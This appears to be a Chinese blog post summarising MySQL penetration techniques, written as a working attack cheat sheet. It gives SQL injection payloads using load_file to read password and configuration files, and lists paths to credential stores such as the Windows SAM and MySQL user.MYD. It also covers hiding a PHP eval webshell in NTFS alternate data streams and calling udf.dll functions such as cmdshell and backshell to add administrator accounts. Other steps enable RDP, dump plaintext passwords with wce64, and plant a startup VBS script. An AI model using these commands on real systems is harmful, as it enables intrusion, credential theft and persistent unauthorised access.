Mysql渗透技巧总结

Posted 2021-08-13 菜鸟小新

1.常见的有助于渗透到mysql函数

在对MySQL数据库架构的渗透中，MySQL内置的函数DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用来获取一些系统的信息，而load_file()作用是读入文件，并将文件内容作为一个字符串返回，这在渗透中尤其有用，例如发现一个php的SQL注入点，则可以通过构造“-1 union select 1,1,1,1,load_file('c:/boot.ini')”来获取boot.ini文件的内容。

(1)一些常见的系统配置文件

c:/boot.ini //查看系统版本 c:/windows/php.ini //php配置信息 c:/windows/my.ini //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码 c:/winnt/php.ini c:/winnt/my.ini c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码 c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码 c:\Program Files\Serv-U\ServUDaemon.ini c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置 c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码 c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此 c:\Program Files\RhinoSoft.com\ServUDaemon.exe C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 //存储了pcAnywhere的登陆密码 c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件 c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 d:\APACHE\Apache2\conf\httpd.conf C:\Program Files\mysql\my.ini C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX 下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 /usr/local/apache2/conf/httpd.conf /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 /usr/local/app/php5/lib/php.ini //PHP相关设置 /etc/sysconfig/iptables //从中得到防火墙规则策略 /etc/httpd/conf/httpd.conf // apache配置文件 /etc/rsyncd.conf //同步程序配置文件 /etc/my.cnf //mysql的配置文件 /etc/redhat-release //系统版本 /etc/issue /etc/issue.net /usr/local/app/php5/lib/php.ini //PHP相关设置 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 /etc/sysconfig/iptables 查看防火墙策略 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录 replace(load_file(0×2F6574632F706173737764),0×3c,0×20) replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

(2)直接读取配置文件

SELECT LOAD_FILE('/etc/passwd' ) SELECT LOAD_FILE('/etc/issues' ) SELECT LOAD_FILE('/etc/etc/rc.local' ) SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' ) SELECT LOAD_FILE('/etc/nginx/nginx.conf' )

(3)Linux下通过load_file函数读出来的数据库有可能是hex编码，要正常查看需要使用NotePad将将以上代码全部选中，然后选择插件“Converter”-“HEX-ASCII”进行转换。

2. Windows下MySQL提权时无法创建目录解决办法及数据流隐藏Webshell

NTFS中的ADS(交换数据流)可以建立目录，隐藏webshell等等。

(1) Mysql创建目录

当MySQL版本较高时，自定义函数的dll需要放在mysql目录下的lib\plugin\。一般普通的脚本是没有在这个文件夹下创建文件夹的权限的。这里可以用到ads来突破：

select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';

会在mysql目录下生成一个lib目录，这样你就可以将你的udf放在这个插件目录下了。

(2)隐藏webshell

在服务器上echo一个数据流文件进去，比如index.php是网页正常文件，我们可以这样子搞：

echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg

这样子就生成了一个不可见的shell a.jpg，常规的文件管理器、type命令，dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去，这样子就可以正常解析我们的一句话了。

3.有用的一些技巧

(1)3389端口命令行下获取总结

netstat -an |find "3389" 查看3389端口是否开放 tasklist /svc | find "TermService" 获取对应TermService的PID号 netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号

(2)Windows 2008Server命令行开启3389

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v

(3)wce64 -w 命令直接获取系统明文登录密码

(4)在phpinfo中查找SCRIPT_FILENAME关键字获取真实路径

(5)Linux终端提示符下查看mysql有关信息，ps -ef|grep mysql

(6)Linux下启动mysql服务: service mysqld start

(7)Linux下查看mysqld是否启动：ps -el | grep mysqld

(8)查看mysql在哪里：whereis mysql

(9)查询运行文件所在路径 which mysql

(10)udf.dll提权常见函数

• cmdshell 执行cmd;

• downloader 下载者,到网上下载指定文件并保存到指定目录;

• open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

• backshell 反弹Shell;

• ProcessView 枚举系统进程;

• KillProcess 终止指定进程;

• regread 读注册表;

• regwrite 写注册表;

• shut 关机,注销,重启;

• about 说明与帮助函数;

具体用户示例：

select cmdshell('net user iis_user 123!@#abcABC /add'); select cmdshell('net localgroup administrators iis_user /add'); select cmdshell('regedit /s d:web3389.reg'); select cmdshell('netstat -an');

4.一些常见的Mysql命令

(1)连接到mysql 服务器

mysql -h 192.168.0.1 -u root -pantian365.com antian365 

(2)查看所有数据库

show databases;

(3)使用某个数据库

use testdatabase;

(4)查看数据库中的所有表

show tables;

(5)在test数据库下创建一个新的表

create table a (cmd text);

(6)在表中插入内容添加用户命令

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " ); insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );

(7)查询a表中所有的数据

select * from a

(8)导出数据到系统某个目录下

select * from a into outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs";

(9)查询数据库数据路径

select @@datadir;

(10)查看所有dir路径

SHOW VARIABLES WHERE Variable_Name LIKE "%dir" 

(11)查看插件路径

show variables like '%plugins%' ;

(12)查询MYSQL安装路径

select @@basedir 

(13)常用内置函数

select system_user() 查看系统用户 select current_user() 查询当前用户 select user(); 查询用户 SELECT version() 查询数据库版本 SELECT database() 查询当前连接的数据库 select @@version_compile_os 查询当前操作系统 select now(); 显示当前时间

(14)获取表结构

desc 表名 或者show columns from 表名

(15)删除表

drop table <表名>